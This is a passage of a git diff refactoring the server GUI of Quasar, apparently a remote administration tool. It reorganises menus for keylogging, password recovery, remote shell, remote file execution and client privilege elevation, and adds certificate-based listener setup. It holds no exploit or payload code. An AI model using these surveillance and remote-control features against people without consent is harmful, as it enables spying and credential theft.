- this.miscellaneousToolStripMenuItem, + this.userSupportToolStripMenuItem, + this.connectionToolStripMenuItem, this.lineToolStripMenuItem, this.selectAllToolStripMenuItem}); this.contextMenuStrip.Name = "ctxtMenu"; - this.contextMenuStrip.Size = new System.Drawing.Size(153, 142); - this.contextMenuStrip.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip_Opening); - // - // connectionToolStripMenuItem - // - this.connectionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.updateToolStripMenuItem, - this.reconnectToolStripMenuItem, - this.disconnectToolStripMenuItem, - this.uninstallToolStripMenuItem}); - this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); - this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; - this.connectionToolStripMenuItem.Size = new System.Drawing.Size(152, 22); - this.connectionToolStripMenuItem.Text = "Connection"; - // - // updateToolStripMenuItem - // - this.updateToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("updateToolStripMenuItem.Image"))); - this.updateToolStripMenuItem.Name = "updateToolStripMenuItem"; - this.updateToolStripMenuItem.Size = new System.Drawing.Size(133, 22); - this.updateToolStripMenuItem.Text = "Update"; - this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click); - // - // reconnectToolStripMenuItem - // - this.reconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("reconnectToolStripMenuItem.Image"))); - this.reconnectToolStripMenuItem.Name = "reconnectToolStripMenuItem"; - this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(133, 22); - this.reconnectToolStripMenuItem.Text = "Reconnect"; - this.reconnectToolStripMenuItem.Click += new System.EventHandler(this.reconnectToolStripMenuItem_Click); - // - // disconnectToolStripMenuItem - // - this.disconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("disconnectToolStripMenuItem.Image"))); - this.disconnectToolStripMenuItem.Name = "disconnectToolStripMenuItem"; - this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(133, 22); - this.disconnectToolStripMenuItem.Text = "Disconnect"; - this.disconnectToolStripMenuItem.Click += new System.EventHandler(this.disconnectToolStripMenuItem_Click); - // - // uninstallToolStripMenuItem - // - this.uninstallToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uninstallToolStripMenuItem.Image"))); - this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; - this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(133, 22); - this.uninstallToolStripMenuItem.Text = "Uninstall"; - this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.uninstallToolStripMenuItem_Click); + this.contextMenuStrip.Size = new System.Drawing.Size(181, 142); // // systemToolStripMenuItem // @@ -155,20 +113,22 @@ private void InitializeComponent() this.startupManagerToolStripMenuItem, this.taskManagerToolStripMenuItem, this.remoteShellToolStripMenuItem, + this.connectionsToolStripMenuItem, this.reverseProxyToolStripMenuItem, this.registryEditorToolStripMenuItem, + this.remoteExecuteToolStripMenuItem, this.ctxtLine, this.actionsToolStripMenuItem}); - this.systemToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemToolStripMenuItem.Image"))); + this.systemToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cog; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(152, 22); - this.systemToolStripMenuItem.Text = "System"; + this.systemToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.systemToolStripMenuItem.Text = "Administration"; // // systemInformationToolStripMenuItem // this.systemInformationToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("systemInformationToolStripMenuItem.Image"))); this.systemInformationToolStripMenuItem.Name = "systemInformationToolStripMenuItem"; - this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.systemInformationToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.systemInformationToolStripMenuItem.Text = "System Information"; this.systemInformationToolStripMenuItem.Click += new System.EventHandler(this.systemInformationToolStripMenuItem_Click); // @@ -176,23 +136,23 @@ private void InitializeComponent() // this.fileManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("fileManagerToolStripMenuItem.Image"))); this.fileManagerToolStripMenuItem.Name = "fileManagerToolStripMenuItem"; - this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.fileManagerToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.fileManagerToolStripMenuItem.Text = "File Manager"; this.fileManagerToolStripMenuItem.Click += new System.EventHandler(this.fileManagerToolStripMenuItem_Click); // // startupManagerToolStripMenuItem // - this.startupManagerToolStripMenuItem.Image = global::xServer.Properties.Resources.startup_programs; + this.startupManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_edit; this.startupManagerToolStripMenuItem.Name = "startupManagerToolStripMenuItem"; - this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.startupManagerToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.startupManagerToolStripMenuItem.Text = "Startup Manager"; this.startupManagerToolStripMenuItem.Click += new System.EventHandler(this.startupManagerToolStripMenuItem_Click); // // taskManagerToolStripMenuItem // - this.taskManagerToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("taskManagerToolStripMenuItem.Image"))); + this.taskManagerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_cascade; this.taskManagerToolStripMenuItem.Name = "taskManagerToolStripMenuItem"; - this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.taskManagerToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.taskManagerToolStripMenuItem.Text = "Task Manager"; this.taskManagerToolStripMenuItem.Click += new System.EventHandler(this.taskManagerToolStripMenuItem_Click); // @@ -200,30 +160,64 @@ private void InitializeComponent() // this.remoteShellToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteShellToolStripMenuItem.Image"))); this.remoteShellToolStripMenuItem.Name = "remoteShellToolStripMenuItem"; - this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.remoteShellToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.remoteShellToolStripMenuItem.Text = "Remote Shell"; this.remoteShellToolStripMenuItem.Click += new System.EventHandler(this.remoteShellToolStripMenuItem_Click); // + // connectionsToolStripMenuItem + // + this.connectionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.transmit_blue; + this.connectionsToolStripMenuItem.Name = "connectionsToolStripMenuItem"; + this.connectionsToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.connectionsToolStripMenuItem.Text = "TCP Connections"; + this.connectionsToolStripMenuItem.Click += new System.EventHandler(this.connectionsToolStripMenuItem_Click); + // // reverseProxyToolStripMenuItem // - this.reverseProxyToolStripMenuItem.Image = global::xServer.Properties.Resources.server_link; + this.reverseProxyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.server_link; this.reverseProxyToolStripMenuItem.Name = "reverseProxyToolStripMenuItem"; - this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.reverseProxyToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.reverseProxyToolStripMenuItem.Text = "Reverse Proxy"; this.reverseProxyToolStripMenuItem.Click += new System.EventHandler(this.reverseProxyToolStripMenuItem_Click); // // registryEditorToolStripMenuItem // - this.registryEditorToolStripMenuItem.Image = global::xServer.Properties.Resources.registry; + this.registryEditorToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.registry; this.registryEditorToolStripMenuItem.Name = "registryEditorToolStripMenuItem"; - this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.registryEditorToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.registryEditorToolStripMenuItem.Text = "Registry Editor"; this.registryEditorToolStripMenuItem.Click += new System.EventHandler(this.registryEditorToolStripMenuItem_Click); // + // remoteExecuteToolStripMenuItem + // + this.remoteExecuteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.localFileToolStripMenuItem, + this.webFileToolStripMenuItem}); + this.remoteExecuteToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.lightning; + this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem"; + this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.remoteExecuteToolStripMenuItem.Text = "Remote Execute"; + // + // localFileToolStripMenuItem + // + this.localFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.drive_go; + this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem"; + this.localFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); + this.localFileToolStripMenuItem.Text = "Local File..."; + this.localFileToolStripMenuItem.Click += new System.EventHandler(this.localFileToolStripMenuItem_Click); + // + // webFileToolStripMenuItem + // + this.webFileToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.world_go; + this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem"; + this.webFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); + this.webFileToolStripMenuItem.Text = "Web File..."; + this.webFileToolStripMenuItem.Click += new System.EventHandler(this.webFileToolStripMenuItem_Click); + // // ctxtLine // this.ctxtLine.Name = "ctxtLine"; - this.ctxtLine.Size = new System.Drawing.Size(175, 6); + this.ctxtLine.Size = new System.Drawing.Size(177, 6); // // actionsToolStripMenuItem // @@ -231,14 +225,14 @@ private void InitializeComponent() this.shutdownToolStripMenuItem, this.restartToolStripMenuItem, this.standbyToolStripMenuItem}); - this.actionsToolStripMenuItem.Image = global::xServer.Properties.Resources.actions; + this.actionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.actions; this.actionsToolStripMenuItem.Name = "actionsToolStripMenuItem"; - this.actionsToolStripMenuItem.Size = new System.Drawing.Size(178, 22); + this.actionsToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.actionsToolStripMenuItem.Text = "Actions"; // // shutdownToolStripMenuItem // - this.shutdownToolStripMenuItem.Image = global::xServer.Properties.Resources.shutdown; + this.shutdownToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.shutdown; this.shutdownToolStripMenuItem.Name = "shutdownToolStripMenuItem"; this.shutdownToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.shutdownToolStripMenuItem.Text = "Shutdown"; @@ -246,7 +240,7 @@ private void InitializeComponent() // // restartToolStripMenuItem // - this.restartToolStripMenuItem.Image = global::xServer.Properties.Resources.restart; + this.restartToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.restart; this.restartToolStripMenuItem.Name = "restartToolStripMenuItem"; this.restartToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.restartToolStripMenuItem.Text = "Restart"; @@ -254,7 +248,7 @@ private void InitializeComponent() // // standbyToolStripMenuItem // - this.standbyToolStripMenuItem.Image = global::xServer.Properties.Resources.standby; + this.standbyToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.standby; this.standbyToolStripMenuItem.Name = "standbyToolStripMenuItem"; this.standbyToolStripMenuItem.Size = new System.Drawing.Size(128, 22); this.standbyToolStripMenuItem.Text = "Standby"; @@ -263,100 +257,135 @@ private void InitializeComponent() // surveillanceToolStripMenuItem // this.surveillanceToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.remoteDesktopToolStripMenuItem, this.passwordRecoveryToolStripMenuItem, - this.keyloggerToolStripMenuItem}); - this.surveillanceToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("surveillanceToolStripMenuItem.Image"))); + this.keyloggerToolStripMenuItem, + this.remoteDesktopToolStripMenuItem2}); + this.surveillanceToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.monitoring; this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem"; - this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(152, 22); - this.surveillanceToolStripMenuItem.Text = "Surveillance"; - // - // remoteDesktopToolStripMenuItem - // - this.remoteDesktopToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem.Image"))); - this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem"; - this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(175, 22); - this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop"; - this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); + this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.surveillanceToolStripMenuItem.Text = "Monitoring"; // // passwordRecoveryToolStripMenuItem // this.passwordRecoveryToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("passwordRecoveryToolStripMenuItem.Image"))); this.passwordRecoveryToolStripMenuItem.Name = "passwordRecoveryToolStripMenuItem"; - this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.passwordRecoveryToolStripMenuItem.Text = "Password Recovery"; this.passwordRecoveryToolStripMenuItem.Click += new System.EventHandler(this.passwordRecoveryToolStripMenuItem_Click); // // keyloggerToolStripMenuItem // - this.keyloggerToolStripMenuItem.Image = global::xServer.Properties.Resources.logger; + this.keyloggerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.keyboard_magnify; this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem"; - this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(175, 22); + this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.keyloggerToolStripMenuItem.Text = "Keylogger"; this.keyloggerToolStripMenuItem.Click += new System.EventHandler(this.keyloggerToolStripMenuItem_Click); // - // miscellaneousToolStripMenuItem + // remoteDesktopToolStripMenuItem2 // - this.miscellaneousToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.remoteExecuteToolStripMenuItem, - this.visitWebsiteToolStripMenuItem, - this.showMessageboxToolStripMenuItem}); - this.miscellaneousToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("miscellaneousToolStripMenuItem.Image"))); - this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem"; - this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(152, 22); - this.miscellaneousToolStripMenuItem.Text = "Miscellaneous"; + this.remoteDesktopToolStripMenuItem2.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem2.Image"))); + this.remoteDesktopToolStripMenuItem2.Name = "remoteDesktopToolStripMenuItem2"; + this.remoteDesktopToolStripMenuItem2.Size = new System.Drawing.Size(180, 22); + this.remoteDesktopToolStripMenuItem2.Text = "Remote Desktop"; + this.remoteDesktopToolStripMenuItem2.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); // - // remoteExecuteToolStripMenuItem + // userSupportToolStripMenuItem // - this.remoteExecuteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.localFileToolStripMenuItem, - this.webFileToolStripMenuItem}); - this.remoteExecuteToolStripMenuItem.Image = global::xServer.Properties.Resources.lightning; - this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem"; - this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(171, 22); - this.remoteExecuteToolStripMenuItem.Text = "Remote Execute"; + this.userSupportToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.showMessageboxToolStripMenuItem, + this.remoteDesktopToolStripMenuItem, + this.visitWebsiteToolStripMenuItem}); + this.userSupportToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.user; + this.userSupportToolStripMenuItem.Name = "userSupportToolStripMenuItem"; + this.userSupportToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.userSupportToolStripMenuItem.Text = "User Support"; // - // localFileToolStripMenuItem + // showMessageboxToolStripMenuItem // - this.localFileToolStripMenuItem.Image = global::xServer.Properties.Resources.drive_go; - this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem"; - this.localFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); - this.localFileToolStripMenuItem.Text = "Local File..."; - this.localFileToolStripMenuItem.Click += new System.EventHandler(this.localFileToolStripMenuItem_Click); + this.showMessageboxToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("showMessageboxToolStripMenuItem.Image"))); + this.showMessageboxToolStripMenuItem.Name = "showMessageboxToolStripMenuItem"; + this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(171, 22); + this.showMessageboxToolStripMenuItem.Text = "Show Messagebox"; + this.showMessageboxToolStripMenuItem.Click += new System.EventHandler(this.showMessageboxToolStripMenuItem_Click); // - // webFileToolStripMenuItem + // remoteDesktopToolStripMenuItem // - this.webFileToolStripMenuItem.Image = global::xServer.Properties.Resources.world_go; - this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem"; - this.webFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22); - this.webFileToolStripMenuItem.Text = "Web File..."; - this.webFileToolStripMenuItem.Click += new System.EventHandler(this.webFileToolStripMenuItem_Click); + this.remoteDesktopToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem.Image"))); + this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem"; + this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(171, 22); + this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop"; + this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click); // // visitWebsiteToolStripMenuItem // this.visitWebsiteToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("visitWebsiteToolStripMenuItem.Image"))); this.visitWebsiteToolStripMenuItem.Name = "visitWebsiteToolStripMenuItem"; this.visitWebsiteToolStripMenuItem.Size = new System.Drawing.Size(171, 22); - this.visitWebsiteToolStripMenuItem.Text = "Visit Website"; + this.visitWebsiteToolStripMenuItem.Text = "Send to Website"; this.visitWebsiteToolStripMenuItem.Click += new System.EventHandler(this.visitWebsiteToolStripMenuItem_Click); // - // showMessageboxToolStripMenuItem + // connectionToolStripMenuItem // - this.showMessageboxToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("showMessageboxToolStripMenuItem.Image"))); - this.showMessageboxToolStripMenuItem.Name = "showMessageboxToolStripMenuItem"; - this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(171, 22); - this.showMessageboxToolStripMenuItem.Text = "Show Messagebox"; - this.showMessageboxToolStripMenuItem.Click += new System.EventHandler(this.showMessageboxToolStripMenuItem_Click); + this.connectionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.elevateClientPermissionsToolStripMenuItem, + this.updateToolStripMenuItem, + this.reconnectToolStripMenuItem, + this.disconnectToolStripMenuItem, + this.uninstallToolStripMenuItem}); + this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); + this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; + this.connectionToolStripMenuItem.Size = new System.Drawing.Size(180, 22); + this.connectionToolStripMenuItem.Text = "Client Management"; + // + // elevateClientPermissionsToolStripMenuItem + // + this.elevateClientPermissionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield; + this.elevateClientPermissionsToolStripMenuItem.Name = "elevateClientPermissionsToolStripMenuItem"; + this.elevateClientPermissionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.elevateClientPermissionsToolStripMenuItem.Text = "Elevate Client Permissions"; + this.elevateClientPermissionsToolStripMenuItem.Click += new System.EventHandler(this.elevateClientPermissionsToolStripMenuItem_Click); + // + // updateToolStripMenuItem + // + this.updateToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("updateToolStripMenuItem.Image"))); + this.updateToolStripMenuItem.Name = "updateToolStripMenuItem"; + this.updateToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.updateToolStripMenuItem.Text = "Update"; + this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click); + // + // reconnectToolStripMenuItem + // + this.reconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("reconnectToolStripMenuItem.Image"))); + this.reconnectToolStripMenuItem.Name = "reconnectToolStripMenuItem"; + this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.reconnectToolStripMenuItem.Text = "Reconnect"; + this.reconnectToolStripMenuItem.Click += new System.EventHandler(this.reconnectToolStripMenuItem_Click); + // + // disconnectToolStripMenuItem + // + this.disconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("disconnectToolStripMenuItem.Image"))); + this.disconnectToolStripMenuItem.Name = "disconnectToolStripMenuItem"; + this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.disconnectToolStripMenuItem.Text = "Disconnect"; + this.disconnectToolStripMenuItem.Click += new System.EventHandler(this.disconnectToolStripMenuItem_Click); + // + // uninstallToolStripMenuItem + // + this.uninstallToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uninstallToolStripMenuItem.Image"))); + this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; + this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(211, 22); + this.uninstallToolStripMenuItem.Text = "Uninstall"; + this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.uninstallToolStripMenuItem_Click); // // lineToolStripMenuItem // this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; - this.lineToolStripMenuItem.Size = new System.Drawing.Size(149, 6); + this.lineToolStripMenuItem.Size = new System.Drawing.Size(177, 6); // // selectAllToolStripMenuItem // this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem"; - this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(180, 22); this.selectAllToolStripMenuItem.Text = "Select All"; this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click); // @@ -641,6 +670,7 @@ private void InitializeComponent() // statusStrip // this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusStrip.ImageScalingSize = new System.Drawing.Size(24, 24); this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.listenToolStripStatusLabel}); this.statusStrip.Location = new System.Drawing.Point(0, 436); @@ -729,6 +759,7 @@ private void InitializeComponent() // this.menuStrip.Dock = System.Windows.Forms.DockStyle.None; this.menuStrip.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.menuStrip.ImageScalingSize = new System.Drawing.Size(24, 24); this.menuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.fIleToolStripMenuItem, this.settingsToolStripMenuItem, @@ -778,8 +809,8 @@ private void InitializeComponent() // // FrmMain // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(1022, 458); this.Controls.Add(this.tableLayoutPanel); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); @@ -824,10 +855,7 @@ private void InitializeComponent() private System.Windows.Forms.ColumnHeader hAccountType; private System.Windows.Forms.ToolStripMenuItem systemInformationToolStripMenuItem; private System.Windows.Forms.ColumnHeader hUserStatus; - private System.Windows.Forms.ToolStripMenuItem miscellaneousToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem visitWebsiteToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem passwordRecoveryToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem showMessageboxToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem remoteShellToolStripMenuItem; private System.Windows.Forms.ToolStripSeparator ctxtLine; @@ -836,9 +864,6 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem standbyToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem startupManagerToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem remoteExecuteToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem localFileToolStripMenuItem; - private System.Windows.Forms.ToolStripMenuItem webFileToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem keyloggerToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem reverseProxyToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem registryEditorToolStripMenuItem; @@ -856,6 +881,15 @@ private void InitializeComponent() private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem; private System.Windows.Forms.StatusStrip statusStrip; private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel; + private System.Windows.Forms.ToolStripMenuItem connectionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem userSupportToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem showMessageboxToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem visitWebsiteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteExecuteToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem localFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem webFileToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem elevateClientPermissionsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem remoteDesktopToolStripMenuItem2; } } diff --git a/Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs similarity index 60% rename from Server/Forms/FrmMain.cs rename to Quasar.Server/Forms/FrmMain.cs index e9225138b..9ef074353 100644 --- a/Server/Forms/FrmMain.cs +++ b/Quasar.Server/Forms/FrmMain.cs @@ -1,56 +1,60 @@ -using System; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Server.Extensions; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; using System.Collections.Generic; using System.IO; using System.Linq; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; using System.Threading; using System.Windows.Forms; -using xServer.Core.Commands; -using xServer.Core.Cryptography; -using xServer.Core.Data; -using xServer.Core.Extensions; -using xServer.Enums; -using xServer.Core.Helper; -using xServer.Core.Networking; -using xServer.Core.Networking.Utilities; -using xServer.Core.Utilities; - -namespace xServer.Forms + +namespace Quasar.Server.Forms { public partial class FrmMain : Form { public QuasarServer ListenServer { get; set; } - public static FrmMain Instance { get; private set; } private const int STATUS_ID = 4; private const int USERSTATUS_ID = 5; private bool _titleUpdateRunning; private bool _processingClientConnections; + private readonly ClientStatusHandler _clientStatusHandler; private readonly Queue> _clientConnections = new Queue>(); private readonly object _processingClientConnectionsLock = new object(); private readonly object _lockClients = new object(); // lock for clients-listview - private void ShowTermsOfService() + public FrmMain() { - using (var frm = new FrmTermsOfUse()) - { - frm.ShowDialog(); - } - Thread.Sleep(300); + _clientStatusHandler = new ClientStatusHandler(); + RegisterMessageHandler(); + InitializeComponent(); } - public FrmMain() + /// + /// Registers the client status message handler for client communication. + /// + private void RegisterMessageHandler() { - Instance = this; - - AES.SetDefaultKey(Settings.Password); - -#if !DEBUG - if (Settings.ShowToU) - ShowTermsOfService(); -#endif + MessageHandler.Register(_clientStatusHandler); + _clientStatusHandler.StatusUpdated += SetStatusByClient; + _clientStatusHandler.UserStatusUpdated += SetUserStatusByClient; + } - InitializeComponent(); + /// + /// Unregisters the client status message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_clientStatusHandler); + _clientStatusHandler.StatusUpdated -= SetStatusByClient; + _clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient; } public void UpdateWindowTitle() @@ -76,28 +80,67 @@ public void UpdateWindowTitle() private void InitializeServer() { - ListenServer = new QuasarServer(); + X509Certificate2 serverCertificate; +#if DEBUG + serverCertificate = new DummyCertificate(); +#else + if (!File.Exists(Settings.CertificatePath)) + { + using (var certificateSelection = new FrmCertificate()) + { + while (certificateSelection.ShowDialog() != DialogResult.OK) + { } + } + } + serverCertificate = new X509Certificate2(Settings.CertificatePath); +#endif + /*var str = Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)); + + var cert2 = new X509Certificate2(Convert.FromBase64String(str)); + var serverCsp = (RSACryptoServiceProvider)serverCertificate.PublicKey.Key; + var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(cert2).PublicKey.Key; + var result = serverCsp.ExportParameters(false); + var result2 = connectedCsp.ExportParameters(false); + + var b = SafeComparison.AreEqual(result.Exponent, result2.Exponent) && + SafeComparison.AreEqual(result.Modulus, result2.Modulus);*/ + + ListenServer = new QuasarServer(serverCertificate); ListenServer.ServerState += ServerState; ListenServer.ClientConnected += ClientConnected; ListenServer.ClientDisconnected += ClientDisconnected; } - private void AutostartListening() + private void StartConnectionListener() { - if (Settings.AutoListen && Settings.UseUPnP) + try + { + ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP); + } + catch (SocketException ex) { - UPnP.Initialize(Settings.ListenPort); - 